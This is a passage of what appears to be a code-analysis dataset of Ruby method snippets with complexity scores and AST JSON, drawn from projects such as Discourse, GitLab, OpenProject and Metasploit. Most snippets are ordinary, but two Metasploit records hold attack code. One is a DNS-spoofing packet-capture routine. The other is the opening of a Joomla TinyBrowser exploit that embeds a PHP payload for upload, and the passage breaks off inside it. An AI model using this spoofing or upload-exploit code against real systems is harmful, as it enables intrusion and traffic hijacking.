end","complexity_score":32.13,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_presigned_put\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"str\",\"children\":[\"generate-presigned-put-upload-stub\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_presigned_put_per_minute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]}]},\"performed!\"]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"file_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"file_size\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_before_create_direct_upload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_size\"]},{\"type\":\"lvar\",\"children\":[\"file_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExternalUploadValidationError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[422]}]}]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"external_upload_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExternalUploadManager\"]},\"create_direct_upload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_size\"]},{\"type\":\"lvar\",\"children\":[\"file_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"send\",\"children\":[null,\"parse_allowed_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"external_upload_data\"]}]}]}]}]}]}","id":"9f663cc8-8575-4b31-bd0b-5edab86e5701"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/negated_if.rb","start_line":88,"raw_source":"def message(node)\n format(MSG, inverse: node.inverse_keyword, current: node.keyword)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inverse\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"inverse_keyword\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"keyword\"]}]}]}]}]}","id":"3f3e6329-60f6-43da-8d25-88bcb3a95e14"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_buffer.rb","start_line":88,"raw_source":"def create_buffer(hash)\n buffer_conf = config_element('buffer', '', hash, [])\n owner = FluentPluginBufferTest::DummyOutputPlugin.new\n owner.configure(config_element('ROOT', '', {}, [ buffer_conf ]))\n p = FluentPluginBufferTest::DummyPlugin.new\n p.owner = owner\n p.configure(buffer_conf)\n p\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_buffer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer_conf\",{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"buffer\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"owner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FluentPluginBufferTest\"]},\"DummyOutputPlugin\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner\"]},\"configure\",{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"ROOT\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer_conf\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FluentPluginBufferTest\"]},\"DummyPlugin\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"owner=\",{\"type\":\"lvar\",\"children\":[\"owner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"configure\",{\"type\":\"lvar\",\"children\":[\"buffer_conf\"]}]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}","id":"ba7b9839-1d83-4c75-83d4-26f46620b3dc"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/zone.rb","start_line":91,"raw_source":"def miq_region\n MiqRegion.find_by(:region => region_id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"miq_region\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqRegion\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"region\"]},{\"type\":\"send\",\"children\":[null,\"region_id\"]}]}]}]}]}","id":"5e0997c7-14a7-48ea-b2d9-16fc34000a14"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/authentication/omniauth_service.rb","start_line":51,"raw_source":"def call(additional_user_params = nil)\n inspect_response(Logger::DEBUG)\n\n unless contract.validate\n result = ServiceResult.failure(errors: contract.errors)\n Rails.logger.error do\n # Try to provide some context of the auth_hash in case of errors\n auth_uid = begin\n hash = auth_hash || {}\n hash.dig(:info, :uid) || hash[:uid] || \"unknown\"\n end\n \"[OmniAuth strategy #{strategy.name}] Failed to process omniauth response for #{auth_uid}: #{result.message}\"\n end\n inspect_response(Logger::ERROR)\n\n return result\n end\n\n # Create or update the user from omniauth\n # and assign non-nil parameters from the registration form - if any\n assignable_params = (additional_user_params || {}).compact\n update_user_from_omniauth!(assignable_params)\n\n # If we have a new or invited user, we still need to register them\n call = activate_user!\n\n # Update the admin flag when present successful\n call = update_admin_flag(call) if call.success?\n\n # The user should be logged in now\n tap_service_result call\n end","complexity_score":43.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"additional_user_params\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inspect_response\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"DEBUG\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contract\"]},\"validate\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contract\"]},\"errors\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_uid\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_hash\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"sym\",\"children\":[\"uid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]}]},{\"type\":\"str\",\"children\":[\"unknown\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[OmniAuth strategy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"] Failed to process omniauth response for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_uid\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"message\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"inspect_response\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"ERROR\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"assignable_params\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_user_params\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"compact\"]}]},{\"type\":\"send\",\"children\":[null,\"update_user_from_omniauth!\",{\"type\":\"lvar\",\"children\":[\"assignable_params\"]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[null,\"activate_user!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[null,\"update_admin_flag\",{\"type\":\"lvar\",\"children\":[\"call\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"tap_service_result\",{\"type\":\"lvar\",\"children\":[\"call\"]}]}]}]}","id":"ae2aeb03-aad9-49a6-a8f6-dead0279aba5"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/contact.rb","start_line":233,"raw_source":"def sync_contact_attributes\n ::Contacts::SyncAttributes.new(self).perform\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_contact_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Contacts\"]},\"SyncAttributes\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"perform\"]}]}","id":"d576292b-2297-4214-b3dd-64c43930f018"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/platform_list.rb","start_line":65,"raw_source":"def empty?\n platforms.empty?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"platforms\"]},\"empty?\"]}]}","id":"19973b3e-080f-41b1-92d9-ead4d19e291c"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/incoming_webhooks_controller.rb","start_line":91,"raw_source":"def find_and_rate_limit_webhook(key)\n webhook = Chat::IncomingWebhook.includes(:chat_channel).find_by(key: key)\n raise Discourse::NotFound unless webhook\n\n # Rate limit to 10 messages per-minute. We can move to a site setting in the future if needed.\n RateLimiter.new(\n nil,\n \"incoming_chat_webhook_#{webhook.id}\",\n WEBHOOK_MESSAGES_PER_MINUTE_LIMIT,\n 1.minute,\n ).performed!\n webhook\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_and_rate_limit_webhook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"webhook\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"IncomingWebhook\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"chat_channel\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webhook\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"incoming_chat_webhook_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webhook\"]},\"id\"]}]}]},{\"type\":\"const\",\"children\":[null,\"WEBHOOK_MESSAGES_PER_MINUTE_LIMIT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]}]},\"performed!\"]},{\"type\":\"lvar\",\"children\":[\"webhook\"]}]}]}","id":"f62404f4-50b8-4e13-8687-a8624f3be27e"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/entry/deprecated_association.rb","start_line":46,"raw_source":"def work_package_id\n OpenProject::Deprecation.replaced(:work_package_id, :entity_id, caller_locations)\n\n if entity_type == \"WorkPackage\"\n entity_id\n end\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Deprecation\"]},\"replaced\",{\"type\":\"sym\",\"children\":[\"work_package_id\"]},{\"type\":\"sym\",\"children\":[\"entity_id\"]},{\"type\":\"send\",\"children\":[null,\"caller_locations\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entity_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"WorkPackage\"]}]},{\"type\":\"send\",\"children\":[null,\"entity_id\"]},null]}]}]}","id":"f6eb9002-1627-4900-9d14-1d56e167550a"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/work_package_meetings_tab/add_work_package_to_meeting_form_component.rb","start_line":36,"raw_source":"def initialize(work_package:, meeting_agenda_item: nil, base_errors: nil)\n super\n\n @work_package = work_package\n @meeting_agenda_item = meeting_agenda_item || MeetingAgendaItem.new(work_package: @work_package)\n @base_errors = base_errors\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"work_package\"]},{\"type\":\"kwoptarg\",\"children\":[\"meeting_agenda_item\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"base_errors\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@work_package\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@meeting_agenda_item\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting_agenda_item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MeetingAgendaItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"ivar\",\"children\":[\"@work_package\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_errors\",{\"type\":\"lvar\",\"children\":[\"base_errors\"]}]}]}]}","id":"7648fc55-237f-4053-bc53-3801f81842cd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/dns/native_spoofer.rb","start_line":92,"raw_source":"def capture_traffic\n check_pcaprub_loaded\n ::Socket.do_not_reverse_lookup = true # Mac OS X workaround\n open_pcap({ 'FILTER' => datastore['FILTER'] })\n @capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do\n each_packet do |pack|\n begin\n parsed = PacketFu::Packet.parse(pack)\n rescue StandardError => e\n vprint_status('PacketFu could not parse captured packet')\n elog('PacketFu could not parse captured packet', error: e)\n end\n\n begin\n reply = reply_packet(parsed)\n service.dispatch_request(reply, parsed.payload)\n rescue StandardError => e\n vprint_status('Could not process captured packet')\n elog('Could not process captured packet', error: e)\n end\n end\n end\n end","complexity_score":32.5,"ast_json":"{\"type\":\"def\",\"children\":[\"capture_traffic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_pcaprub_loaded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"do_not_reverse_lookup=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"open_pcap\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILTER\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@capture_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ThreadFactory\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"DNSSpoofer\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_packet\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pack\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"Packet\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"pack\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"PacketFu could not parse captured packet\"]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"PacketFu could not parse captured packet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reply\",{\"type\":\"send\",\"children\":[null,\"reply_packet\",{\"type\":\"lvar\",\"children\":[\"parsed\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"dispatch_request\",{\"type\":\"lvar\",\"children\":[\"reply\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"payload\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Could not process captured packet\"]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"Could not process captured packet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},null]}]}]}]}]}]}]}]}","id":"6a35217e-5c7a-4eb5-baff-972f9093f6ac"} {"repo_name":"forem","file_path":"./repos/forem/app/models/ab_experiment.rb","start_line":97,"raw_source":"def self.get(experiment:, controller:, user:, default_value:, config: ApplicationConfig)\n method_name = method_name_for(experiment)\n new(controller: controller)\n .public_send(method_name, user: user, default_value: default_value, experiment: experiment, config: config)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"experiment\"]},{\"type\":\"kwarg\",\"children\":[\"controller\"]},{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"default_value\"]},{\"type\":\"kwoptarg\",\"children\":[\"config\",{\"type\":\"const\",\"children\":[null,\"ApplicationConfig\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[null,\"method_name_for\",{\"type\":\"lvar\",\"children\":[\"experiment\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]}]}]}]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"lvar\",\"children\":[\"default_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"experiment\"]},{\"type\":\"lvar\",\"children\":[\"experiment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}]}]}","id":"8e02cbe4-6054-4463-be00-ca672bff7507"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/instrumentations/database_metric.rb","start_line":123,"raw_source":"def get_or_cache_batch_ids\n return [start, finish] unless self.class.cache_key.present?\n\n key_name = \"metric_instrumentation/#{self.class.cache_key}\"\n\n cached_start = Gitlab::Cache.fetch_once(\"#{key_name}_minimum_id\", expires_in: 1.day) do\n start\n end\n\n cached_finish = Gitlab::Cache.fetch_once(\"#{key_name}_maximum_id\", expires_in: 1.day) do\n finish\n end\n\n [cached_start, cached_finish]\n end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"get_or_cache_batch_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"cache_key\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start\"]},{\"type\":\"send\",\"children\":[null,\"finish\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"metric_instrumentation/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"cache_key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cached_start\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"fetch_once\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_name\"]}]},{\"type\":\"str\",\"children\":[\"_minimum_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"start\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cached_finish\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"fetch_once\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_name\"]}]},{\"type\":\"str\",\"children\":[\"_maximum_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"finish\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_start\"]},{\"type\":\"lvar\",\"children\":[\"cached_finish\"]}]}]}]}","id":"30ec3659-c518-4c10-89e8-684563a2c2cd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/joomla_tinybrowser.rb","start_line":79,"raw_source":"def exploit\n cmd_php = '<?php ' + payload.encoded + '?>'\n\n # Generate some random strings\n cmdscript\t= rand_text_alpha_lower(20)\n boundary = rand_text_alphanumeric(6)\n\n # Static files\n directory\t= '/images/stories/'\n uri_base = normalize_uri(datastore['URI'])\n uri_base << '/' if uri_base[-1, 1] != '/'\n uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser'\n\n # Get obfuscation code (needed to upload files)\n obfuscation_code = nil\n\n res = send_request_raw({\n 'uri' => uri_base + '/upload.php?type=file&folder='\n }, 25)\n\n if (res)\n\n if (res.body =~ /\"obfus\", \"((\\w)+)\"\\)/)\n obfuscation_code = $1\n print_good(\"Successfully retrieved obfuscation code: #{obfuscation_code}\")\n else\n print_error(\"Error retrieving obfuscation code!\")\n return\n end\n end\n\n # Upload shellcode (file ending .ph.p)\n data = 